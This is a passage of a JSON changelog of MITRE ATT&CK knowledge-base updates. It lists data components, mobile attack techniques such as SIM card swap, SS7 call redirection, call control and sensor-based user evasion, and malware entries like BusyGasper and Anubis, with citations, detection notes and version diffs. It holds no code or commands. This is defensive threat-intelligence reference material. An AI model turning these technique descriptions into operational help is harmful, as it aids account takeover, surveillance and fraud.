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"x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", "name": "WMI Creation", "description": "Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)", "x_mitre_version": "1.0", "x_mitre_data_source_ref": "x-mitre-data-source--2cd6cc81-d86e-4595-a4f0-43f5519f14e6" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "modified": "2021-10-20T15:05:19.271909Z", "created": "2021-10-20T15:05:19.271909Z", "type": "x-mitre-data-component", "id": "x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3", "name": "Web Credential Creation", "description": "Initial construction of new web credential material (ex: Windows EID 1200 or 4769)", "x_mitre_version": "1.0", "x_mitre_data_source_ref": "x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4" }, { "created_by_ref": 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"description": "Opening a Registry Key, typically to read the associated value (ex: Windows EID 4656)", "x_mitre_version": "1.0", "x_mitre_data_source_ref": "x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "modified": "2021-10-20T15:05:19.273900Z", "created": "2021-10-20T15:05:19.273900Z", "type": "x-mitre-data-component", "id": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", "name": "Windows Registry Key Creation", "description": "Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)", "x_mitre_version": "1.0", "x_mitre_data_source_ref": "x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "modified": "2021-10-20T15:05:19.273923Z", "created": "2021-10-20T15:05:19.273923Z", "type": "x-mitre-data-component", "id": "x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e", "name": "Windows Registry Key Deletion", "description": "Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)", "x_mitre_version": "1.0", "x_mitre_data_source_ref": "x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "modified": "2021-10-20T15:05:19.273944Z", "created": "2021-10-20T15:05:19.273944Z", "type": "x-mitre-data-component", "id": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "name": "Windows Registry Key Modification", "description": "Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)", "x_mitre_version": "1.0", "x_mitre_data_source_ref": "x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0" } ], "major_version_changes": [], "minor_version_changes": [], "other_version_changes": [], "patches": [], "revocations": [], "deprecations": [], "deletions": [] } }, "mobile-attack": { "techniques": { "additions": [ { "type": "attack-pattern", "id": "attack-pattern--351ddf79-2d3a-41b4-9bef-82ea5d3ccd69", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-09-20 13:42:20.824000+00:00", "modified": "2021-09-27 18:05:42.788000+00:00", "name": "Call Control", "description": "Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.\n\nSeveral permissions may be used to programmatically control phone calls, including:\n\n* `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions)\n* `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions)\n* `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions)\n* `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions)\n* `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions)\n* `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions)\n\nWhen granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.", "kill_chain_phases": [ { "kill_chain_name": "mitre-mobile-attack", "phase_name": "collection" }, { "kill_chain_name": "mitre-mobile-attack", "phase_name": "impact" }, { "kill_chain_name": "mitre-mobile-attack", "phase_name": "command-and-control" } ], "revoked": false, "external_references": [ { "source_name": "mitre-mobile-attack", "url": "https://attack.mitre.org/techniques/T1616", "external_id": "T1616" }, { "source_name": "NIST Mobile Threat Catalogue", "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-41.html", "external_id": "APP-41" }, { "source_name": "NIST Mobile Threat Catalogue", "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-42.html", "external_id": "CEL-42" }, { "source_name": "NIST Mobile Threat Catalogue", "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-36.html", "external_id": "CEL-36" }, { "source_name": "NIST Mobile Threat Catalogue", "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-18.html", "external_id": "CEL-18" }, { "source_name": "Android Permissions", "description": "Google. (2021, August 11). Manifest.permission. Retrieved September 22, 2021.", "url": "https://developer.android.com/reference/android/Manifest.permission" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Gaetan van Diemen, ThreatFabric" ], "x_mitre_detection": "Users can view their default phone app in device settings. Users can review available call logs for irregularities, such as missing or unrecognized calls.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Android" ], "x_mitre_tactic_type": [ "Post-Adversary Device Access" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--ccde43e4-78f9-4f32-b401-c081e7db71ea", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-09-24 14:47:34.182000+00:00", "modified": "2021-10-04 20:08:47.559000+00:00", "name": "Hooking", "description": "Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.", "kill_chain_phases": [ { "kill_chain_name": "mitre-mobile-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-mobile-attack", "url": "https://attack.mitre.org/techniques/T1617", "external_id": "T1617" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "J\u00f6rg Abraham, EclecticIQ" ], "x_mitre_detection": "Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Android" ], "x_mitre_tactic_type": [ "Post-Adversary Device Access" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-09-30 18:18:52.285000+00:00", "modified": "2021-10-12 18:13:25.586000+00:00", "name": "User Evasion", "description": "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary\u2019s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. \n\nWhile there are many ways this can be accomplished, one method is by using the device\u2019s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.", "kill_chain_phases": [ { "kill_chain_name": "mitre-mobile-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-mobile-attack", "url": "https://attack.mitre.org/techniques/T1618", "external_id": "T1618" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_detection": "Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Android" ], "x_mitre_tactic_type": [ "Post-Adversary Device Access" ], "x_mitre_version": "1.0" } ], "major_version_changes": [], "minor_version_changes": [ { "type": "attack-pattern", "id": "attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-10-25 14:48:06.524000+00:00", "modified": "2021-07-28 18:43:50.490000+00:00", "name": "Exploit SS7 to Redirect Phone Calls/SMS", "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).", "kill_chain_phases": [ { "kill_chain_name": "mitre-mobile-attack", "phase_name": "network-effects" } ], "revoked": false, "external_references": [ { "source_name": "mitre-mobile-attack", "url": "https://attack.mitre.org/techniques/T1449", "external_id": "T1449" }, { "source_name": "NIST Mobile Threat Catalogue", "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html", "external_id": "CEL-37" }, { "source_name": "Engel-SS7", "description": "Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.", "url": "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf" }, { "source_name": "Engel-SS7-2008", "description": "Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.", "url": "https://www.youtube.com/watch?v=q0n5ySqbfdI" }, { "source_name": "3GPP-Security", "description": "3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.", "url": "http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf" }, { "source_name": "Positive-SS7", "description": "Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.", "url": "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf" }, { "source_name": "CSRIC5-WG10-FinalReport", "description": "Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.", "url": "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" }, { "source_name": "TheRegister-SS7", "description": "Iain Thomson. (2017, May 3). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts. Retrieved November 8, 2018.", "url": "https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_detection": "Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the Communications, Security, Reliability, and Interoperability Council (CSRIC). (Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.", "x_mitre_is_subtechnique": false, "x_mitre_old_attack_id": "MOB-T1052", "x_mitre_platforms": [ "Android", "iOS" ], "x_mitre_tactic_type": [ "Without Adversary Device Access" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_is_subtechnique']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-28 18:43:50.490000+00:00\", \"old_value\": \"2019-02-03 16:28:52.821000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).\", \"old_value\": \"An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary could exploit signaling system vulnerabilities t1An adversary could exploit signaling system vulnerabilities 
>to redirect calls or text messages (SMS) to a phone number u>to redirect calls or text messages (SMS) to a phone number u
>nder the attacker's control. The adversary could then act as>nder the attacker's control. The adversary could then act as
> a man-in-the-middle to intercept or manipulate the communic> an adversary-in-the-middle to intercept or manipulate the c
>ation. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Cit>ommunication. (Citation: Engel-SS7) (Citation: Engel-SS7-200
>ation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CS>8) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citat
>RIC5-WG10-FinalReport) Interception of SMS messages could en>ion: CSRIC5-WG10-FinalReport) Interception of SMS messages c
>able adversaries to obtain authentication codes used for mul>ould enable adversaries to obtain authentication codes used 
>ti-factor authentication(Citation: TheRegister-SS7).>for multi-factor authentication(Citation: TheRegister-SS7).
", "changelog_mitigations": { "shared": [ "M1009: Encrypt Network Traffic", "M1014: Interconnection Filtering" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-10-25 14:48:25.322000+00:00", "modified": "2021-07-28 18:45:08.382000+00:00", "name": "Manipulate Device Communication", "description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).", "kill_chain_phases": [ { "kill_chain_name": "mitre-mobile-attack", "phase_name": "network-effects" } ], "revoked": false, "external_references": [ { "source_name": "mitre-mobile-attack", "url": "https://attack.mitre.org/techniques/T1463", "external_id": "T1463" }, { "source_name": "NIST Mobile Threat Catalogue", "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", "external_id": "APP-1" }, { "source_name": "FireEye-SSL", "description": "Adrian Mettler, Yulong Zhang, Vishwanath Raman. (2014, August 20). SSL VULNERABILITIES: WHO LISTENS WHEN ANDROID APPLICATIONS TALK?. Retrieved December 24, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_is_subtechnique": false, "x_mitre_old_attack_id": "MOB-T1066", "x_mitre_platforms": [ "Android", "iOS" ], "x_mitre_tactic_type": [ "Without Adversary Device Access" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_is_subtechnique']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-28 18:45:08.382000+00:00\", \"old_value\": \"2018-10-17 00:14:20.652000+00:00\"}, \"root['description']\": {\"new_value\": \"If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).\", \"old_value\": \"If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1If network traffic between the mobile device and a remote set1If network traffic between the mobile device and a remote se
>rver is not securely protected, then an attacker positioned >rver is not securely protected, then an attacker positioned 
>on the network may be able to manipulate network communicati>on the network may be able to manipulate network communicati
>on without being detected. For example, FireEye researchers >on without being detected. For example, FireEye researchers 
>found in 2014 that 68% of the top 1,000 free applications in>found in 2014 that 68% of the top 1,000 free applications in
> the Google Play Store had at least one Transport Layer Secu> the Google Play Store had at least one Transport Layer Secu
>rity (TLS) implementation vulnerability potentially opening >rity (TLS) implementation vulnerability potentially opening 
>the applications' network traffic to man-in-the-middle attac>the applications' network traffic to adversary-in-the-middle
>ks (Citation: FireEye-SSL).> attacks (Citation: FireEye-SSL).
", "changelog_mitigations": { "shared": [ "M1005: Application Vetting", "M1009: Encrypt Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-10-25 14:48:20.329000+00:00", "modified": "2021-09-30 18:45:26.323000+00:00", "name": "SIM Card Swap", "description": "An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)\n\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)", "kill_chain_phases": [ { "kill_chain_name": "mitre-mobile-attack", "phase_name": "network-effects" } ], "revoked": false, "external_references": [ { "source_name": "mitre-mobile-attack", "url": "https://attack.mitre.org/techniques/T1451", "external_id": "T1451" }, { "source_name": "NIST Mobile Threat Catalogue", "url": "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html", "external_id": "STA-22" }, { "source_name": "NYGov-Simswap", "description": "New York Department of State. (2016, February 12). AT&T SIM-Card Switch Scam. Retrieved August 23, 2016.", "url": "http://www.dos.ny.gov/consumerprotection/scams/att-sim.html" }, { "source_name": "Motherboard-Simswap2", "description": "Lorenzo Franceschi-Bicchierai. (2018, August 3). How Criminals Recruit Telecom Employees to Help Them Hijack SIM Cards. Retrieved August 11, 2018.", "url": "https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam" }, { "source_name": "Betanews-Simswap", "description": "Alex Cambell. (2016, February 12). Everything you need to know about SIM swap scams. Retrieved December 12, 2016.", "url": "http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/" }, { "source_name": "Guardian-Simswap", "description": "Miles Brignall. (2016, April 16). Sim-swap fraud claims another mobile banking victim. Retrieved December 12, 2016.", "url": "https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters" }, { "source_name": "Motherboard-Simswap1", "description": "Lorenzo Franceschi-Bicchierai. (2018, July 17). The SIM Hijackers. Retrieved August 11, 2018.", "url": "https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin" }, { "source_name": "Krebs-SimSwap", "description": "Brian Krebs. (2018, May 18). T-Mobile Employee Made Unauthorized \u2018SIM Swap\u2019 to Steal Instagram Account. Retrieved November 8, 2018.", "url": "https://krebsonsecurity.com/2018/05/t-mobile-employee-made-unauthorized-sim-swap-to-steal-instagram-account/" }, { "source_name": "TechCrunch-SimSwap", "description": "John Biggs. (2017, August 23). I was hacked. Retrieved November 8, 2018.", "url": "https://techcrunch.com/2017/08/23/i-was-hacked/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Karim Hasanen, @_karimhasanen" ], "x_mitre_is_subtechnique": false, "x_mitre_old_attack_id": "MOB-T1054", "x_mitre_platforms": [ "Android", "iOS" ], "x_mitre_tactic_type": [ "Without Adversary Device Access" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Karim Hasanen, @_karimhasanen\"], \"root['x_mitre_is_subtechnique']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-30 18:45:26.323000+00:00\", \"old_value\": \"2019-02-03 14:13:24.168000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)\\n\\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)\", \"old_value\": \"An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). \\n\\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). \\n+An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)\\n \\n-One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).\\n+One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary could convince the mobile network operator (e.gt1An adversary could convince the mobile network operator (e.g
>. through social networking, forged identification, or insid>. through social networking, forged identification, or insid
>er attacks performed by trusted employees) to issue a new SI>er attacks performed by trusted employees) to issue a new SI
>M card and associate it with an existing phone number and ac>M card and associate it with an existing phone number and ac
>count (Citation: NYGov-Simswap) (Citation: Motherboard-Simsw>count.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswa
>ap2). The adversary could then obtain SMS messages or hijack>p2) The adversary could then obtain SMS messages or hijack p
> phone calls intended for someone else (Citation: Betanews-S>hone calls intended for someone else.(Citation: Betanews-Sim
>imswap).   One use case is intercepting authentication messa>swap)  One use case is intercepting authentication messages 
>ges or phone calls to obtain illicit access to online bankin>or phone calls to obtain illicit access to online banking or
>g or other online accounts, as many online services allow ac> other online accounts, as many online services allow accoun
>count password resets by sending an authentication code over>t password resets by sending an authentication code over SMS
> SMS to a phone number associated with the account (Citation> to a phone number associated with the account.(Citation: Gu
>: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citatio>ardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Kr
>n: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).>ebs-SimSwap)(Citation: TechCrunch-SimSwap)
", "changelog_mitigations": { "shared": [], "new": [ "M1011: User Guidance" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } } ], "other_version_changes": [], "patches": [], "revocations": [], "deprecations": [], "deletions": [] }, "software": { "additions": [ { "type": "malware", "id": "malware--e110f94a-e2c5-4f5f-ba78-9c2ab6d2d9e4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-10-01 14:42:48.234000+00:00", "modified": "2021-10-14 15:38:53.014000+00:00", "name": "BusyGasper", "description": "[BusyGasper](https://attack.mitre.org/software/S0655) is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.(Citation: SecureList BusyGasper)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0655", "external_id": "S0655" }, { "source_name": "SecureList BusyGasper", "description": "Alexey Firsh. (2018, August 29). BusyGasper \u2013 the unfriendly spy. Retrieved October 1, 2021.", "url": "https://securelist.com/busygasper-the-unfriendly-spy/87627/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "BusyGasper" ], "x_mitre_platforms": [ "Android" ], "x_mitre_version": "1.0" } ], "major_version_changes": [], "minor_version_changes": [ { "type": "malware", "id": "malware--a3c59d82-2c7c-44e5-a869-68e0a3e5935e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-04-08 15:41:19.114000+00:00", "modified": "2021-09-20 13:50:01.923000+00:00", "name": "Anubis", "description": "[Anubis](https://attack.mitre.org/software/S0422) is Android malware that was originally used for cyber espionage, and has been retooled as a banking trojan.(Citation: Cofense Anubis)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0422", "external_id": "S0422" }, { "source_name": "Cofense Anubis", "description": "M. Feller. (2020, February 5). Infostealer, Keylogger, and Ransomware in One: Anubis Targets More than 250 Android Applications. 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How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.", "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/" }, { "source_name": "Crowdstrike DNC June 2016", "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" }, { "source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" }, { "source_name": "SecureWorks TG-4127", "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). 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Retrieved April 15, 2019.", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" }, { "source_name": "TrendMicro Pawn Storm Dec 2020", "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html" }, { "source_name": "Microsoft STRONTIUM Aug 2019", "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/" }, { "source_name": "Microsoft 